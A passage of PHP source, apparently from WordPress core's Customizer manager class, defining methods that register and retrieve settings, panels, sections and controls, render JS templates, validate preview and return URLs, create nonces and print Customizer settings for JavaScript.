* See WP_Customize_Setting::__construct() for information * on accepted arguments. Default empty array. * @return WP_Customize_Setting The instance of the setting that was added. */ public function add_setting( $id, $args = array() ) { if ( $id instanceof WP_Customize_Setting ) { $setting = $id; } else { $class = 'WP_Customize_Setting'; /** This filter is documented in wp-includes/class-wp-customize-manager.php */ $args = apply_filters( 'customize_dynamic_setting_args', $args, $id ); /** This filter is documented in wp-includes/class-wp-customize-manager.php */ $class = apply_filters( 'customize_dynamic_setting_class', $class, $id, $args ); $setting = new $class( $this, $id, $args ); } $this->settings[ $setting->id ] = $setting; return $setting; } /** * Register any dynamically-created settings, such as those from $_POST['customized'] * that have no corresponding setting created. * * This is a mechanism to "wake up" settings that have been dynamically created * on the front end and have been sent to WordPress in `$_POST['customized']`. When WP * loads, the dynamically-created settings then will get created and previewed * even though they are not directly created statically with code. * * @since 4.2.0 * * @param array $setting_ids The setting IDs to add. * @return array The WP_Customize_Setting objects added. */ public function add_dynamic_settings( $setting_ids ) { $new_settings = array(); foreach ( $setting_ids as $setting_id ) { // Skip settings already created. if ( $this->get_setting( $setting_id ) ) { continue; } $setting_args = false; $setting_class = 'WP_Customize_Setting'; /** * Filters a dynamic setting's constructor args. * * For a dynamic setting to be registered, this filter must be employed * to override the default false value with an array of args to pass to * the WP_Customize_Setting constructor. * * @since 4.2.0 * * @param false|array $setting_args The arguments to the WP_Customize_Setting constructor. * @param string $setting_id ID for dynamic setting, usually coming from `$_POST['customized']`. */ $setting_args = apply_filters( 'customize_dynamic_setting_args', $setting_args, $setting_id ); if ( false === $setting_args ) { continue; } /** * Allow non-statically created settings to be constructed with custom WP_Customize_Setting subclass. * * @since 4.2.0 * * @param string $setting_class WP_Customize_Setting or a subclass. * @param string $setting_id ID for dynamic setting, usually coming from `$_POST['customized']`. * @param array $setting_args WP_Customize_Setting or a subclass. */ $setting_class = apply_filters( 'customize_dynamic_setting_class', $setting_class, $setting_id, $setting_args ); $setting = new $setting_class( $this, $setting_id, $setting_args ); $this->add_setting( $setting ); $new_settings[] = $setting; } return $new_settings; } /** * Retrieve a customize setting. * * @since 3.4.0 * * @param string $id Customize Setting ID. * @return WP_Customize_Setting|void The setting, if set. */ public function get_setting( $id ) { if ( isset( $this->settings[ $id ] ) ) { return $this->settings[ $id ]; } } /** * Remove a customize setting. * * Note that removing the setting doesn't destroy the WP_Customize_Setting instance or remove its filters. * * @since 3.4.0 * * @param string $id Customize Setting ID. */ public function remove_setting( $id ) { unset( $this->settings[ $id ] ); } /** * Add a customize panel. * * @since 4.0.0 * @since 4.5.0 Return added WP_Customize_Panel instance. * * @see WP_Customize_Panel::__construct() * * @param WP_Customize_Panel|string $id Customize Panel object, or ID. * @param array $args Optional. Array of properties for the new Panel object. * See WP_Customize_Panel::__construct() for information * on accepted arguments. Default empty array. * @return WP_Customize_Panel The instance of the panel that was added. */ public function add_panel( $id, $args = array() ) { if ( $id instanceof WP_Customize_Panel ) { $panel = $id; } else { $panel = new WP_Customize_Panel( $this, $id, $args ); } $this->panels[ $panel->id ] = $panel; return $panel; } /** * Retrieve a customize panel. * * @since 4.0.0 * * @param string $id Panel ID to get. * @return WP_Customize_Panel|void Requested panel instance, if set. */ public function get_panel( $id ) { if ( isset( $this->panels[ $id ] ) ) { return $this->panels[ $id ]; } } /** * Remove a customize panel. * * Note that removing the panel doesn't destroy the WP_Customize_Panel instance or remove its filters. * * @since 4.0.0 * * @param string $id Panel ID to remove. */ public function remove_panel( $id ) { // Removing core components this way is _doing_it_wrong(). if ( in_array( $id, $this->components, true ) ) { $message = sprintf( /* translators: 1: Panel ID, 2: Link to 'customize_loaded_components' filter reference. */ __( 'Removing %1$s manually will cause PHP warnings. Use the %2$s filter instead.' ), $id, sprintf( '<a href="%1$s">%2$s</a>', esc_url( 'https://developer.wordpress.org/reference/hooks/customize_loaded_components/' ), '<code>customize_loaded_components</code>' ) ); _doing_it_wrong( __METHOD__, $message, '4.5.0' ); } unset( $this->panels[ $id ] ); } /** * Register a customize panel type. * * Registered types are eligible to be rendered via JS and created dynamically. * * @since 4.3.0 * * @see WP_Customize_Panel * * @param string $panel Name of a custom panel which is a subclass of WP_Customize_Panel. */ public function register_panel_type( $panel ) { $this->registered_panel_types[] = $panel; } /** * Render JS templates for all registered panel types. * * @since 4.3.0 */ public function render_panel_templates() { foreach ( $this->registered_panel_types as $panel_type ) { $panel = new $panel_type( $this, 'temp', array() ); $panel->print_template(); } } /** * Add a customize section. * * @since 3.4.0 * @since 4.5.0 Return added WP_Customize_Section instance. * * @see WP_Customize_Section::__construct() * * @param WP_Customize_Section|string $id Customize Section object, or ID. * @param array $args Optional. Array of properties for the new Section object. * See WP_Customize_Section::__construct() for information * on accepted arguments. Default empty array. * @return WP_Customize_Section The instance of the section that was added. */ public function add_section( $id, $args = array() ) { if ( $id instanceof WP_Customize_Section ) { $section = $id; } else { $section = new WP_Customize_Section( $this, $id, $args ); } $this->sections[ $section->id ] = $section; return $section; } /** * Retrieve a customize section. * * @since 3.4.0 * * @param string $id Section ID. * @return WP_Customize_Section|void The section, if set. */ public function get_section( $id ) { if ( isset( $this->sections[ $id ] ) ) { return $this->sections[ $id ]; } } /** * Remove a customize section. * * Note that removing the section doesn't destroy the WP_Customize_Section instance or remove its filters. * * @since 3.4.0 * * @param string $id Section ID. */ public function remove_section( $id ) { unset( $this->sections[ $id ] ); } /** * Register a customize section type. * * Registered types are eligible to be rendered via JS and created dynamically. * * @since 4.3.0 * * @see WP_Customize_Section * * @param string $section Name of a custom section which is a subclass of WP_Customize_Section. */ public function register_section_type( $section ) { $this->registered_section_types[] = $section; } /** * Render JS templates for all registered section types. * * @since 4.3.0 */ public function render_section_templates() { foreach ( $this->registered_section_types as $section_type ) { $section = new $section_type( $this, 'temp', array() ); $section->print_template(); } } /** * Add a customize control. * * @since 3.4.0 * @since 4.5.0 Return added WP_Customize_Control instance. * * @see WP_Customize_Control::__construct() * * @param WP_Customize_Control|string $id Customize Control object, or ID. * @param array $args Optional. Array of properties for the new Control object. * See WP_Customize_Control::__construct() for information * on accepted arguments. Default empty array. * @return WP_Customize_Control The instance of the control that was added. */ public function add_control( $id, $args = array() ) { if ( $id instanceof WP_Customize_Control ) { $control = $id; } else { $control = new WP_Customize_Control( $this, $id, $args ); } $this->controls[ $control->id ] = $control; return $control; } /** * Retrieve a customize control. * * @since 3.4.0 * * @param string $id ID of the control. * @return WP_Customize_Control|void The control object, if set. */ public function get_control( $id ) { if ( isset( $this->controls[ $id ] ) ) { return $this->controls[ $id ]; } } /** * Remove a customize control. * * Note that removing the control doesn't destroy the WP_Customize_Control instance or remove its filters. * * @since 3.4.0 * * @param string $id ID of the control. */ public function remove_control( $id ) { unset( $this->controls[ $id ] ); } /** * Register a customize control type. * * Registered types are eligible to be rendered via JS and created dynamically. * * @since 4.1.0 * * @param string $control Name of a custom control which is a subclass of * WP_Customize_Control. */ public function register_control_type( $control ) { $this->registered_control_types[] = $control; } /** * Render JS templates for all registered control types. * * @since 4.1.0 */ public function render_control_templates() { if ( $this->branching() ) { $l10n = array( /* translators: %s: User who is customizing the changeset in customizer. */ 'locked' => __( '%s is already customizing this changeset. Please wait until they are done to try customizing. Your latest changes have been autosaved.' ), /* translators: %s: User who is customizing the changeset in customizer. */ 'locked_allow_override' => __( '%s is already customizing this changeset. Do you want to take over?' ), ); } else { $l10n = array( /* translators: %s: User who is customizing the changeset in customizer. */ 'locked' => __( '%s is already customizing this site. Please wait until they are done to try customizing. Your latest changes have been autosaved.' ), /* translators: %s: User who is customizing the changeset in customizer. */ 'locked_allow_override' => __( '%s is already customizing this site. Do you want to take over?' ), ); } foreach ( $this->registered_control_types as $control_type ) { $control = new $control_type( $this, 'temp', array( 'settings' => array(), ) ); $control->print_template(); } ?> <script type="text/html" id="tmpl-customize-control-default-content"> <# var inputId = _.uniqueId( 'customize-control-default-input-' ); var descriptionId = _.uniqueId( 'customize-control-default-description-' ); var describedByAttr = data.description ? ' aria-describedby="' + descriptionId + '" ' : ''; #> <# switch ( data.type ) { case 'checkbox': #> <span class="customize-inside-control-row"> <input id="{{ inputId }}" {{{ describedByAttr }}} type="checkbox" value="{{ data.value }}" data-customize-setting-key-link="default" > <label for="{{ inputId }}"> {{ data.label }} </label> <# if ( data.description ) { #> <span id="{{ descriptionId }}" class="description customize-control-description">{{{ data.description }}}</span> <# } #> </span> <# break; case 'radio': if ( ! data.choices ) { return; } #> <# if ( data.label ) { #> <label for="{{ inputId }}" class="customize-control-title"> {{ data.label }} </label> <# } #> <# if ( data.description ) { #> <span id="{{ descriptionId }}" class="description customize-control-description">{{{ data.description }}}</span> <# } #> <# _.each( data.choices, function( val, key ) { #> <span class="customize-inside-control-row"> <# var value, text; if ( _.isObject( val ) ) { value = val.value; text = val.text; } else { value = key; text = val; } #> <input id="{{ inputId + '-' + value }}" type="radio" value="{{ value }}" name="{{ inputId }}" data-customize-setting-key-link="default" {{{ describedByAttr }}} > <label for="{{ inputId + '-' + value }}">{{ text }}</label> </span> <# } ); #> <# break; default: #> <# if ( data.label ) { #> <label for="{{ inputId }}" class="customize-control-title"> {{ data.label }} </label> <# } #> <# if ( data.description ) { #> <span id="{{ descriptionId }}" class="description customize-control-description">{{{ data.description }}}</span> <# } #> <# var inputAttrs = { id: inputId, 'data-customize-setting-key-link': 'default' }; if ( 'textarea' === data.type ) { inputAttrs.rows = '5'; } else if ( 'button' === data.type ) { inputAttrs['class'] = 'button button-secondary'; inputAttrs.type = 'button'; } else { inputAttrs.type = data.type; } if ( data.description ) { inputAttrs['aria-describedby'] = descriptionId; } _.extend( inputAttrs, data.input_attrs ); #> <# if ( 'button' === data.type ) { #> <button <# _.each( _.extend( inputAttrs ), function( value, key ) { #> {{{ key }}}="{{ value }}" <# } ); #> >{{ inputAttrs.value }}</button> <# } else if ( 'textarea' === data.type ) { #> <textarea <# _.each( _.extend( inputAttrs ), function( value, key ) { #> {{{ key }}}="{{ value }}" <# }); #> >{{ inputAttrs.value }}</textarea> <# } else if ( 'select' === data.type ) { #> <# delete inputAttrs.type; #> <select <# _.each( _.extend( inputAttrs ), function( value, key ) { #> {{{ key }}}="{{ value }}" <# }); #> > <# _.each( data.choices, function( val, key ) { #> <# var value, text; if ( _.isObject( val ) ) { value = val.value; text = val.text; } else { value = key; text = val; } #> <option value="{{ value }}">{{ text }}</option> <# } ); #> </select> <# } else { #> <input <# _.each( _.extend( inputAttrs ), function( value, key ) { #> {{{ key }}}="{{ value }}" <# }); #> > <# } #> <# } #> </script> <script type="text/html" id="tmpl-customize-notification"> <li class="notice notice-{{ data.type || 'info' }} {{ data.alt ? 'notice-alt' : '' }} {{ data.dismissible ? 'is-dismissible' : '' }} {{ data.containerClasses || '' }}" data-code="{{ data.code }}" data-type="{{ data.type }}"> <div class="notification-message">{{{ data.message || data.code }}}</div> <# if ( data.dismissible ) { #> <button type="button" class="notice-dismiss"><span class="screen-reader-text"><?php _e( 'Dismiss' ); ?></span></button> <# } #> </li> </script> <script type="text/html" id="tmpl-customize-changeset-locked-notification"> <li class="notice notice-{{ data.type || 'info' }} {{ data.containerClasses || '' }}" data-code="{{ data.code }}" data-type="{{ data.type }}"> <div class="notification-message customize-changeset-locked-message"> <img class="customize-changeset-locked-avatar" src="{{ data.lockUser.avatar }}" alt="{{ data.lockUser.name }}" /> <p class="currently-editing"> <# if ( data.message ) { #> {{{ data.message }}} <# } else if ( data.allowOverride ) { #> <?php echo esc_html( sprintf( $l10n['locked_allow_override'], '{{ data.lockUser.name }}' ) ); ?> <# } else { #> <?php echo esc_html( sprintf( $l10n['locked'], '{{ data.lockUser.name }}' ) ); ?> <# } #> </p> <p class="notice notice-error notice-alt" hidden></p> <p class="action-buttons"> <# if ( data.returnUrl !== data.previewUrl ) { #> <a class="button customize-notice-go-back-button" href="{{ data.returnUrl }}"><?php _e( 'Go back' ); ?></a> <# } #> <a class="button customize-notice-preview-button" href="{{ data.frontendPreviewUrl }}"><?php _e( 'Preview' ); ?></a> <# if ( data.allowOverride ) { #> <button class="button button-primary wp-tab-last customize-notice-take-over-button"><?php _e( 'Take over' ); ?></button> <# } #> </p> </div> </li> </script> <script type="text/html" id="tmpl-customize-code-editor-lint-error-notification"> <li class="notice notice-{{ data.type || 'info' }} {{ data.alt ? 'notice-alt' : '' }} {{ data.dismissible ? 'is-dismissible' : '' }} {{ data.containerClasses || '' }}" data-code="{{ data.code }}" data-type="{{ data.type }}"> <div class="notification-message">{{{ data.message || data.code }}}</div> <p> <# var elementId = 'el-' + String( Math.random() ); #> <input id="{{ elementId }}" type="checkbox"> <label for="{{ elementId }}"><?php _e( 'Update anyway, even though it might break your site?' ); ?></label> </p> </li> </script> <?php /* The following template is obsolete in core but retained for plugins. */ ?> <script type="text/html" id="tmpl-customize-control-notifications"> <ul> <# _.each( data.notifications, function( notification ) { #> <li class="notice notice-{{ notification.type || 'info' }} {{ data.altNotice ? 'notice-alt' : '' }}" data-code="{{ notification.code }}" data-type="{{ notification.type }}">{{{ notification.message || notification.code }}}</li> <# } ); #> </ul> </script> <script type="text/html" id="tmpl-customize-preview-link-control" > <# var elementPrefix = _.uniqueId( 'el' ) + '-' #> <p class="customize-control-title"> <?php esc_html_e( 'Share Preview Link' ); ?> </p> <p class="description customize-control-description"><?php esc_html_e( 'See how changes would look live on your website, and share the preview with people who can\'t access the Customizer.' ); ?></p> <div class="customize-control-notifications-container"></div> <div class="preview-link-wrapper"> <label for="{{ elementPrefix }}customize-preview-link-input" class="screen-reader-text"><?php esc_html_e( 'Preview Link' ); ?></label> <a href="" target=""> <span class="preview-control-element" data-component="url"></span> <span class="screen-reader-text"><?php _e( '(opens in a new tab)' ); ?></span> </a> <input id="{{ elementPrefix }}customize-preview-link-input" readonly tabindex="-1" class="preview-control-element" data-component="input"> <button class="customize-copy-preview-link preview-control-element button button-secondary" data-component="button" data-copy-text="<?php esc_attr_e( 'Copy' ); ?>" data-copied-text="<?php esc_attr_e( 'Copied' ); ?>" ><?php esc_html_e( 'Copy' ); ?></button> </div> </script> <script type="text/html" id="tmpl-customize-selected-changeset-status-control"> <# var inputId = _.uniqueId( 'customize-selected-changeset-status-control-input-' ); #> <# var descriptionId = _.uniqueId( 'customize-selected-changeset-status-control-description-' ); #> <# if ( data.label ) { #> <label for="{{ inputId }}" class="customize-control-title">{{ data.label }}</label> <# } #> <# if ( data.description ) { #> <span id="{{ descriptionId }}" class="description customize-control-description">{{{ data.description }}}</span> <# } #> <# _.each( data.choices, function( choice ) { #> <# var choiceId = inputId + '-' + choice.status; #> <span class="customize-inside-control-row"> <input id="{{ choiceId }}" type="radio" value="{{ choice.status }}" name="{{ inputId }}" data-customize-setting-key-link="default"> <label for="{{ choiceId }}">{{ choice.label }}</label> </span> <# } ); #> </script> <?php } /** * Helper function to compare two objects by priority, ensuring sort stability via instance_number. * * @since 3.4.0 * @deprecated 4.7.0 Use wp_list_sort() * * @param WP_Customize_Panel|WP_Customize_Section|WP_Customize_Control $a Object A. * @param WP_Customize_Panel|WP_Customize_Section|WP_Customize_Control $b Object B. * @return int */ protected function _cmp_priority( $a, $b ) { _deprecated_function( __METHOD__, '4.7.0', 'wp_list_sort' ); if ( $a->priority === $b->priority ) { return $a->instance_number - $b->instance_number; } else { return $a->priority - $b->priority; } } /** * Prepare panels, sections, and controls. * * For each, check if required related components exist, * whether the user has the necessary capabilities, * and sort by priority. * * @since 3.4.0 */ public function prepare_controls() { $controls = array(); $this->controls = wp_list_sort( $this->controls, array( 'priority' => 'ASC', 'instance_number' => 'ASC', ), 'ASC', true ); foreach ( $this->controls as $id => $control ) { if ( ! isset( $this->sections[ $control->section ] ) || ! $control->check_capabilities() ) { continue; } $this->sections[ $control->section ]->controls[] = $control; $controls[ $id ] = $control; } $this->controls = $controls; // Prepare sections. $this->sections = wp_list_sort( $this->sections, array( 'priority' => 'ASC', 'instance_number' => 'ASC', ), 'ASC', true ); $sections = array(); foreach ( $this->sections as $section ) { if ( ! $section->check_capabilities() ) { continue; } $section->controls = wp_list_sort( $section->controls, array( 'priority' => 'ASC', 'instance_number' => 'ASC', ) ); if ( ! $section->panel ) { // Top-level section. $sections[ $section->id ] = $section; } else { // This section belongs to a panel. if ( isset( $this->panels [ $section->panel ] ) ) { $this->panels[ $section->panel ]->sections[ $section->id ] = $section; } } } $this->sections = $sections; // Prepare panels. $this->panels = wp_list_sort( $this->panels, array( 'priority' => 'ASC', 'instance_number' => 'ASC', ), 'ASC', true ); $panels = array(); foreach ( $this->panels as $panel ) { if ( ! $panel->check_capabilities() ) { continue; } $panel->sections = wp_list_sort( $panel->sections, array( 'priority' => 'ASC', 'instance_number' => 'ASC', ), 'ASC', true ); $panels[ $panel->id ] = $panel; } $this->panels = $panels; // Sort panels and top-level sections together. $this->containers = array_merge( $this->panels, $this->sections ); $this->containers = wp_list_sort( $this->containers, array( 'priority' => 'ASC', 'instance_number' => 'ASC', ), 'ASC', true ); } /** * Enqueue scripts for customize controls. * * @since 3.4.0 */ public function enqueue_control_scripts() { foreach ( $this->controls as $control ) { $control->enqueue(); } if ( ! is_multisite() && ( current_user_can( 'install_themes' ) || current_user_can( 'update_themes' ) || current_user_can( 'delete_themes' ) ) ) { wp_enqueue_script( 'updates' ); wp_localize_script( 'updates', '_wpUpdatesItemCounts', array( 'totals' => wp_get_update_data(), ) ); } } /** * Determine whether the user agent is iOS. * * @since 4.4.0 * * @return bool Whether the user agent is iOS. */ public function is_ios() { return wp_is_mobile() && preg_match( '/iPad|iPod|iPhone/', $_SERVER['HTTP_USER_AGENT'] ); } /** * Get the template string for the Customizer pane document title. * * @since 4.4.0 * * @return string The template string for the document title. */ public function get_document_title_template() { if ( $this->is_theme_active() ) { /* translators: %s: Document title from the preview. */ $document_title_tmpl = __( 'Customize: %s' ); } else { /* translators: %s: Document title from the preview. */ $document_title_tmpl = __( 'Live Preview: %s' ); } $document_title_tmpl = html_entity_decode( $document_title_tmpl, ENT_QUOTES, 'UTF-8' ); // Because exported to JS and assigned to document.title. return $document_title_tmpl; } /** * Set the initial URL to be previewed. * * URL is validated. * * @since 4.4.0 * * @param string $preview_url URL to be previewed. */ public function set_preview_url( $preview_url ) { $preview_url = esc_url_raw( $preview_url ); $this->preview_url = wp_validate_redirect( $preview_url, home_url( '/' ) ); } /** * Get the initial URL to be previewed. * * @since 4.4.0 * * @return string URL being previewed. */ public function get_preview_url() { if ( empty( $this->preview_url ) ) { $preview_url = home_url( '/' ); } else { $preview_url = $this->preview_url; } return $preview_url; } /** * Determines whether the admin and the frontend are on different domains. * * @since 4.7.0 * * @return bool Whether cross-domain. */ public function is_cross_domain() { $admin_origin = wp_parse_url( admin_url() ); $home_origin = wp_parse_url( home_url() ); $cross_domain = ( strtolower( $admin_origin['host'] ) !== strtolower( $home_origin['host'] ) ); return $cross_domain; } /** * Get URLs allowed to be previewed. * * If the front end and the admin are served from the same domain, load the * preview over ssl if the Customizer is being loaded over ssl. This avoids * insecure content warnings. This is not attempted if the admin and front end * are on different domains to avoid the case where the front end doesn't have * ssl certs. Domain mapping plugins can allow other urls in these conditions * using the customize_allowed_urls filter. * * @since 4.7.0 * * @return array Allowed URLs. */ public function get_allowed_urls() { $allowed_urls = array( home_url( '/' ) ); if ( is_ssl() && ! $this->is_cross_domain() ) { $allowed_urls[] = home_url( '/', 'https' ); } /** * Filters the list of URLs allowed to be clicked and followed in the Customizer preview. * * @since 3.4.0 * * @param string[] $allowed_urls An array of allowed URLs. */ $allowed_urls = array_unique( apply_filters( 'customize_allowed_urls', $allowed_urls ) ); return $allowed_urls; } /** * Get messenger channel. * * @since 4.7.0 * * @return string Messenger channel. */ public function get_messenger_channel() { return $this->messenger_channel; } /** * Set URL to link the user to when closing the Customizer. * * URL is validated. * * @since 4.4.0 * * @param string $return_url URL for return link. */ public function set_return_url( $return_url ) { $return_url = esc_url_raw( $return_url ); $return_url = remove_query_arg( wp_removable_query_args(), $return_url ); $return_url = wp_validate_redirect( $return_url ); $this->return_url = $return_url; } /** * Get URL to link the user to when closing the Customizer. * * @since 4.4.0 * * @global array $_registered_pages * * @return string URL for link to close Customizer. */ public function get_return_url() { global $_registered_pages; $referer = wp_get_referer(); $excluded_referer_basenames = array( 'customize.php', 'wp-login.php' ); if ( $this->return_url ) { $return_url = $this->return_url; } elseif ( $referer && ! in_array( wp_basename( parse_url( $referer, PHP_URL_PATH ) ), $excluded_referer_basenames, true ) ) { $return_url = $referer; } elseif ( $this->preview_url ) { $return_url = $this->preview_url; } else { $return_url = home_url( '/' ); } $return_url_basename = wp_basename( parse_url( $this->return_url, PHP_URL_PATH ) ); $return_url_query = parse_url( $this->return_url, PHP_URL_QUERY ); if ( 'themes.php' === $return_url_basename && $return_url_query ) { parse_str( $return_url_query, $query_vars ); /* * If the return URL is a page added by a theme to the Appearance menu via add_submenu_page(), * verify that belongs to the active theme, otherwise fall back to the Themes screen. */ if ( isset( $query_vars['page'] ) && ! isset( $_registered_pages[ "appearance_page_{$query_vars['page']}" ] ) ) { $return_url = admin_url( 'themes.php' ); } } return $return_url; } /** * Set the autofocused constructs. * * @since 4.4.0 * * @param array $autofocus { * Mapping of 'panel', 'section', 'control' to the ID which should be autofocused. * * @type string $control ID for control to be autofocused. * @type string $section ID for section to be autofocused. * @type string $panel ID for panel to be autofocused. * } */ public function set_autofocus( $autofocus ) { $this->autofocus = array_filter( wp_array_slice_assoc( $autofocus, array( 'panel', 'section', 'control' ) ), 'is_string' ); } /** * Get the autofocused constructs. * * @since 4.4.0 * * @return array { * Mapping of 'panel', 'section', 'control' to the ID which should be autofocused. * * @type string $control ID for control to be autofocused. * @type string $section ID for section to be autofocused. * @type string $panel ID for panel to be autofocused. * } */ public function get_autofocus() { return $this->autofocus; } /** * Get nonces for the Customizer. * * @since 4.5.0 * * @return array Nonces. */ public function get_nonces() { $nonces = array( 'save' => wp_create_nonce( 'save-customize_' . $this->get_stylesheet() ), 'preview' => wp_create_nonce( 'preview-customize_' . $this->get_stylesheet() ), 'switch_themes' => wp_create_nonce( 'switch_themes' ), 'dismiss_autosave_or_lock' => wp_create_nonce( 'customize_dismiss_autosave_or_lock' ), 'override_lock' => wp_create_nonce( 'customize_override_changeset_lock' ), 'trash' => wp_create_nonce( 'trash_customize_changeset' ), ); /** * Filters nonces for Customizer. * * @since 4.2.0 * * @param string[] $nonces Array of refreshed nonces for save and * preview actions. * @param WP_Customize_Manager $this WP_Customize_Manager instance. */ $nonces = apply_filters( 'customize_refresh_nonces', $nonces, $this ); return $nonces; } /** * Print JavaScript settings for parent window. * * @since 4.4.0 */ public function customize_pane_settings() { $login_url = add_query_arg( array( 'interim-login' => 1, 'customize-login' => 1, ), wp_login_url() ); // Ensure dirty flags are set for modified settings. foreach ( array_keys( $this->unsanitized_post_values() ) as $setting_id ) { $setting = $this->get_setting( $setting_id ); if ( $setting ) { $setting->dirty = true; } } $autosave_revision_post = null; $autosave_autodraft_post = null; $changeset_post_id = $this->changeset_post_id(); if ( ! $this->saved_starter_content_changeset && ! $this->autosaved() ) { if ( $changeset_post_id ) { if ( is_user_logged_in() ) { $autosave_revision_post = wp_get_post_autosave( $changeset_post_id, get_current_user_id() ); } } else { $autosave_autodraft_posts = $this->get_changeset_posts( array( 'posts_per_page' => 1, 'post_status' => 'auto-draft', 'exclude_restore_dismissed' => true, ) ); if ( ! empty( $autosave_autodraft_posts ) ) { $autosave_autodraft_post = array_shift( $autosave_autodraft_posts ); } } } $current_user_can_publish = current_user_can( get_post_type_object( 'customize_changeset' )->cap->publish_posts ); // @todo Include all of the status labels here from script-loader.php, and then allow it to be filtered. $status_choices = array(); if ( $current_user_can_publish ) { $status_choices[] = array( 'status' => 'publish', 'label' => __( 'Publish' ), ); } $status_choices[] = array( 'status' => 'draft', 'label' => __( 'Save Draft' ), ); if ( $current_user_can_publish ) { $status_choices[] = array( 'status' => 'future', 'label' => _x( 'Schedule', 'customizer changeset action/button label' ), ); } // Prepare Customizer settings to pass to JavaScript. $changeset_post = null; if ( $changeset_post_id ) { $changeset_post = get_post( $changeset_post_id ); } // Determine initial date to be at present or future, not past. $current_time = current_time( 'mysql', false ); $initial_date = $current_time; if ( $changeset_post ) { $initial_date = get_the_time( 'Y-m-d H:i:s', $changeset_post->ID ); if ( $initial_date < $current_time ) { $initial_date = $current_time; } } $lock_user_id = false; if ( $this->changeset_post_id() ) { $lock_user_id = wp_check_post_lock( $this->changeset_post_id() ); } $settings = array( 'changeset' => array( 'uuid' => $this->changeset_uuid(), 'branching' => $this->branching(), 'autosaved' => $this->autosaved(), 'hasAutosaveRevision' => ! empty( $autosave_revision_post ), 'latestAutoDraftUuid' => $autosave_autodraft_post ? $autosave_autodraft_post->post_name : null, 'status' => $changeset_post ? $changeset_post->post_status : '', 'currentUserCanPublish' => $current_user_can_publish, 'publishDate' => $initial_date, 'statusChoices' => $status_choices, 'lockUser' => $lock_user_id ? $this->get_lock_user_data( $lock_user_id ) : null, ), 'initialServerDate' => $current_time, 'dateFormat' => get_option( 'date_format' ), 'timeFormat' => get_option( 'time_format' ), 'initialServerTimestamp' => floor( microtime( true ) * 1000 ), 'initialClientTimestamp' => -1, // To be set with JS below. 'timeouts' => array( 'windowRefresh' => 250, 'changesetAutoSave' => AUTOSAVE_INTERVAL * 1000, 'keepAliveCheck' => 2500, 'reflowPaneContents' => 100, 'previewFrameSensitivity' => 2000, ), 'theme' => array( 'stylesheet' => $this->get_stylesheet(), 'active' => $this->is_theme_active(), '_canInstall' => current_user_can( 'install_themes' ), ), 'url' => array( 'preview' => esc_url_raw( $this->get_preview_url() ), 'return' => esc_url_raw( $this->get_return_url() ), 'parent' => esc_url_raw( admin_url() ), 'activated' => esc_url_raw( home_url( '/' ) ), 'ajax' => esc_url_raw( admin_url( 'admin-ajax.php', 'relative' ) ), 'allowed' => array_map( 'esc_url_raw', $this->get_allowed_urls() ), 'isCrossDomain' => $this->is_cross_domain(), 'home' => esc_url_raw( home_url( '/' ) ), 'login' => esc_url_raw( $login_url ), ), 'browser' => array( 'mobile' => wp_is_mobile(), 'ios' => $this->is_ios(), ), 'panels' => array(), 'sections' => array(), 'nonce' => $this->get_nonces(), 'autofocus' => $this->get_autofocus(), 'documentTitleTmpl' => $this->get_document_title_template(), 'previewableDevices' => $this->get_previewable_devices(), 'l10n' => array( 'confirmDeleteTheme' => __( 'Are you sure you want to delete this theme?' ), /* translators: %d: Number of theme search results, which cannot currently consider singular vs. plural forms. */ 'themeSearchResults' => __( '%d themes found' ), /* translators: %d: Number of themes being displayed, which cannot currently consider singular vs. plural forms. */ 'announceThemeCount' => __( 'Displaying %d themes' ), /* translators: %s: Theme name. */ 'announceThemeDetails' => __( 'Showing details for theme: %s' ), ), ); // Temporarily disable installation in Customizer. See #42184. $filesystem_method = get_filesystem_method(); ob_start(); $filesystem_credentials_are_stored = request_filesystem_credentials( self_admin_url() ); ob_end_clean(); if ( 'direct' !== $filesystem_method && ! $filesystem_credentials_are_stored ) { $settings['theme']['_filesystemCredentialsNeeded'] = true; } // Prepare Customize Section objects to pass to JavaScript. foreach ( $this->sections() as $id => $section ) { if ( $section->check_capabilities() ) { $settings['sections'][ $id ] = $section->json(); } } // Prepare Customize Panel objects to pass to JavaScript. foreach ( $this->panels() as $panel_id => $panel ) { if ( $panel->check_capabilities() ) { $settings['panels'][ $panel_id ] = $panel->json(); foreach ( $panel->sections as $section_id => $section ) { if ( $section->check_capabilities() ) { $settings['sections'][ $section_id ] = $section->json(); } } } } ?> <script type="text/javascript"> var _wpCustomizeSettings = <?php echo wp_json_encode( $settings ); ?>; _wpCustomizeSettings.initialClientTimestamp = _.now(); _wpCustomizeSettings.controls = {}; _wpCustomizeSettings.settings = {}; <?php // Serialize settings one by one to improve memory usage. echo "(function ( s ){\n"; foreach ( $this->settings() as $setting ) { if ( $setting->check_capabilities() ) { printf( "s[%s] = %s;\n", wp_json_encode( $setting->id ), wp_json_encode( $setting->json() ) ); } } echo "})( _wpCustomizeSettings.settings );\n"; // Serialize controls one by one to improve memory usage. echo "(function ( c ){\n"; foreach ( $this->controls() as $control ) { if ( $control->check_capabilities() ) { printf( "c[%s] = %s;\n", wp_json_encode( $control->id ), wp_json_encode( $control->json() ) ); } } echo "})( _wpCustomizeSettings.controls );\n"; ?> </script> <?php } /** * Returns a list of devices to allow previewing. * * @since 4.5.0 * * @return array List of devices with labels and default setting. */ public function get_previewable_devices() { $devices = array( 'desktop' => array( 'label' => __( 'Enter desktop preview mode' ), 'default' => true, ), 'tablet' => array( 'label' => __( 'Enter tablet preview mode' ), ), 'mobile' => array( 'label' => __( 'Enter mobile preview mode' ), ), ); /** * Filters the available devices to allow previewing in the Customizer. * * @since 4.5.0 * * @see WP_Customize_Manager::get_previewable_devices() * * @param array $devices List of devices with labels and default setting. */ $devices = apply_filters( 'customize_previewable_devices', $devices ); return $devices; } /** * Register some default controls. * * @since 3.4.0 */ public function register_controls() { /* Themes (controls are loaded via ajax) */ $this->add_panel( new WP_Customize_Themes_Panel( $this, 'themes', array( 'title' => $this->theme()->display( 'Name' ), 'description' => ( '<p>' . __( 'Looking for a theme? You can search or browse the WordPress.org theme directory, install and preview themes, then activate them right here.' ) . '</p>' . '<p>' . __( 'While previewing a new theme, you can continue to tailor things like widgets and menus, and explore theme-specific options.' ) . '</p>' ), 'capability' => 'switch_themes', 'priority' => 0, ) ) ); $this->add_section( new WP_Customize_Themes_Section( $this, 'installed_themes', array( 'title' => __( 'Installed themes' ), 'action' => 'installed', 'capability' => 'switch_themes', 'panel' => 'themes', 'priority' => 0, ) ) ); if ( ! is_multisite() ) { $this->add_section( new WP_Customize_Themes_Section( $this, 'wporg_themes', array( 'title' => __( 'WordPress.org themes' ), 'action' => 'wporg', 'filter_type' => 